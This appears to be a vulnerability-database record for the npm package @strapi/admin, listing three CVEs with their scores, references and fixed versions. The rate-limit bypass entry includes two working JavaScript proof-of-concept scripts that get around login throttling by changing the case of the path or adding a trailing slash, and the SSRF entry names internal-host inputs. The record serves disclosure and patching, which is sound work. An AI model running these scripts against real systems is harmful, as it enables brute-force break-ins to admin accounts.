Lookup for vulnerable packages by Package URL.

Purlpkg:npm/%40strapi/admin@0.0.0-9ea56017f201701393e55d58c90c7e0f3dd20af4
Typenpm
Namespace@strapi
Nameadmin
Version0.0.0-9ea56017f201701393e55d58c90c7e0f3dd20af4
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version4.25.2
Latest_non_vulnerable_version5.33.3
Affected_by_vulnerabilities
0
url VCID-adab-ztym-ayhd
vulnerability_id VCID-adab-ztym-ayhd
summary
Strapi may leak sensitive user information, user reset password, tokens via content-manager views
Attackers can get access to user reset password tokens if they have the configure view permissions.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2023-36472
reference_id
reference_type
scores
0
value 0.00137
scoring_system epss
scoring_elements 0.33373
published_at 2026-06-05T12:55:00Z
1
value 0.00137
scoring_system epss
scoring_elements 0.33318
published_at 2026-06-08T12:55:00Z
2
value 0.00137
scoring_system epss
scoring_elements 0.33352
published_at 2026-06-07T12:55:00Z
3
value 0.00137
scoring_system epss
scoring_elements 0.33389
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2023-36472
1
reference_url https://github.com/strapi/strapi
reference_id
reference_type
scores
0
value 5.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/strapi/strapi
2
reference_url https://github.com/strapi/strapi/releases/tag/v4.11.7
reference_id
reference_type
scores
0
value 5.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-25T15:00:22Z/
url https://github.com/strapi/strapi/releases/tag/v4.11.7
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2023-36472
reference_id CVE-2023-36472
reference_type
scores
0
value 5.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2023-36472
4
reference_url https://github.com/advisories/GHSA-v8gg-4mq2-88q4
reference_id GHSA-v8gg-4mq2-88q4
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-v8gg-4mq2-88q4
5
reference_url https://github.com/strapi/strapi/security/advisories/GHSA-v8gg-4mq2-88q4
reference_id GHSA-v8gg-4mq2-88q4
reference_type
scores
0
value 5.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-25T15:00:22Z/
url https://github.com/strapi/strapi/security/advisories/GHSA-v8gg-4mq2-88q4
fixed_packages
0
url pkg:npm/%40strapi/admin@4.11.7
purl pkg:npm/%40strapi/admin@4.11.7
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-byez-u4kv-7qac
1
vulnerability VCID-s8e6-3wdh-k3gz
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540strapi/admin@4.11.7
aliases CVE-2023-36472, GHSA-v8gg-4mq2-88q4
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-adab-ztym-ayhd
1
url VCID-byez-u4kv-7qac
vulnerability_id VCID-byez-u4kv-7qac
summary
Strapi Improper Rate Limiting vulnerability
### 1. Summary
There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.

### 2. Details
It is possible to avoid this by modifying the rate-limited request path as follows.
1. Manipulating request paths to upper or lower case. (Pattern 1)
  - In this case, avoidance is possible with various patterns.
2. Add path slashes to the end of the request path. (Pattern 2)

### 3. PoC
Access the administrator's login screen (`/admin/auth/login`) and execute the following PoC on the browser's console screen.

#### Pattern 1 (uppercase and lowercase)
```js
// poc.js
(async () => {
 const data1 = {
  email: "admin@strapi.com",  // registered e-mail address
  password: "invalid_password",
 };
 const data2 = {
  email: "admin@strapi.com",
  password: "RyG5z-CE2-]*4e4",  // correct password
 };

 for (let i = 0; i < 30; i++) {
 await fetch("http://localhost:1337/admin/login", {
   method: "POST",
   body: JSON.stringify(data1),
   headers: {
    "Content-Type": "application/json",
   },
  });
 }

 const res1 = await fetch("http://localhost:1337/admin/login", {
  method: "POST",
  body: JSON.stringify(data2),
  headers: {
   "Content-Type": "application/json",
  },
 });
 console.log(res1.status + " " + res1.statusText);

 const res2 = await fetch("http://localhost:1337/admin/Login", { // capitalize part of path
  method: "POST",
  body: JSON.stringify(data2),
  headers: {
   "Content-Type": "application/json",
  },
 });
 console.log(res2.status + " " + res2.statusText);
})();
```

##### This PoC does the following:
1. Request 30 incorrect logins.
4. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`)
5. Next, falsify the pathname of the request (**`/admin/Login`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`)

#### Pattern 2 (trailing slash)
```js
// poc.js
(async () => {
 const data1 = {
  email: "admin@strapi.com",  // registered e-mail address
  password: "invalid_password",
 };
 const data2 = {
  email: "admin@strapi.com",
  password: "RyG5z-CE2-]*4e4",  // correct password
 };

 for (let i = 0; i < 30; i++) {
  await fetch("http://localhost:1337/admin/login", {
   method: "POST",
   body: JSON.stringify(data1),
   headers: {
    "Content-Type": "application/json",
   },
  });
 }

 const res1 = await fetch("http://localhost:1337/admin/login", {
  method: "POST",
  body: JSON.stringify(data2),
  headers: {
   "Content-Type": "application/json",
  },
 });
 console.log(res1.status + " " + res1.statusText);

 const res2 = await fetch("http://localhost:1337/admin/login/", { // trailing slash
  method: "POST",
  body: JSON.stringify(data2),
  headers: {
   "Content-Type": "application/json",
  },
 });
 console.log(res2.status + " " + res2.statusText);
})();
```

##### This PoC does the following:
1. Request 30 incorrect logins.
2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`)
3. Next, falsify the pathname of the request (**`/admin/login/`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`)



### 4. Impact
 It is possible to bypass the rate limit of the login function of the admin screen. 
Therefore, the possibility of unauthorized login by login brute force attack increases.

### 5. Measures
Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (`ctx.request.path`)  
Also, remove any extra slashes in the request path.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2023-38507
reference_id
reference_type
scores
0
value 0.00255
scoring_system epss
scoring_elements 0.4913
published_at 2026-06-05T12:55:00Z
1
value 0.00255
scoring_system epss
scoring_elements 0.49094
published_at 2026-06-08T12:55:00Z
2
value 0.00255
scoring_system epss
scoring_elements 0.49123
published_at 2026-06-07T12:55:00Z
3
value 0.00255
scoring_system epss
scoring_elements 0.4914
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2023-38507
1
reference_url https://github.com/strapi/strapi
reference_id
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/strapi/strapi
2
reference_url https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31
reference_id
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-25T18:05:45Z/
url https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31
3
reference_url https://github.com/strapi/strapi/releases/tag/v4.12.1
reference_id
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-25T18:05:45Z/
url https://github.com/strapi/strapi/releases/tag/v4.12.1
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2023-38507
reference_id CVE-2023-38507
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2023-38507
5
reference_url https://github.com/advisories/GHSA-24q2-59hm-rh9r
reference_id GHSA-24q2-59hm-rh9r
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-24q2-59hm-rh9r
6
reference_url https://github.com/strapi/strapi/security/advisories/GHSA-24q2-59hm-rh9r
reference_id GHSA-24q2-59hm-rh9r
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-25T18:05:45Z/
url https://github.com/strapi/strapi/security/advisories/GHSA-24q2-59hm-rh9r
fixed_packages
0
url pkg:npm/%40strapi/admin@4.12.1
purl pkg:npm/%40strapi/admin@4.12.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-s8e6-3wdh-k3gz
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540strapi/admin@4.12.1
aliases CVE-2023-38507, GHSA-24q2-59hm-rh9r
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-byez-u4kv-7qac
2
url VCID-s8e6-3wdh-k3gz
vulnerability_id VCID-s8e6-3wdh-k3gz
summary
Strapi allows Server-Side Request Forgery in Webhook function
In Strapi latest version, at function Settings -> Webhooks, the application allows us to input a URL in order to create a Webook connection. However, we can input into this field the local domains such as `localhost`, `127.0.0.1`, `0.0.0.0`,.... in order to make the Application fetching into the internal itself, which causes the vulnerability `Server - Side Request Forgery (SSRF)`.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-52588
reference_id
reference_type
scores
0
value 0.00321
scoring_system epss
scoring_elements 0.55449
published_at 2026-06-05T12:55:00Z
1
value 0.00321
scoring_system epss
scoring_elements 0.55423
published_at 2026-06-08T12:55:00Z
2
value 0.00321
scoring_system epss
scoring_elements 0.55443
published_at 2026-06-07T12:55:00Z
3
value 0.00321
scoring_system epss
scoring_elements 0.55454
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-52588
1
reference_url https://github.com/strapi/strapi
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/strapi/strapi
2
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-52588
reference_id CVE-2024-52588
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-52588
3
reference_url https://github.com/advisories/GHSA-v8wj-f5c7-pvxf
reference_id GHSA-v8wj-f5c7-pvxf
reference_type
scores
url https://github.com/advisories/GHSA-v8wj-f5c7-pvxf
4
reference_url https://github.com/strapi/strapi/security/advisories/GHSA-v8wj-f5c7-pvxf
reference_id GHSA-v8wj-f5c7-pvxf
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-05-29T13:44:22Z/
url https://github.com/strapi/strapi/security/advisories/GHSA-v8wj-f5c7-pvxf
fixed_packages
0
url pkg:npm/%40strapi/admin@4.25.2
purl pkg:npm/%40strapi/admin@4.25.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540strapi/admin@4.25.2
aliases CVE-2024-52588, GHSA-v8wj-f5c7-pvxf
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-s8e6-3wdh-k3gz
Fixing_vulnerabilities
Risk_score4.0
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/%2540strapi/admin@0.0.0-9ea56017f201701393e55d58c90c7e0f3dd20af4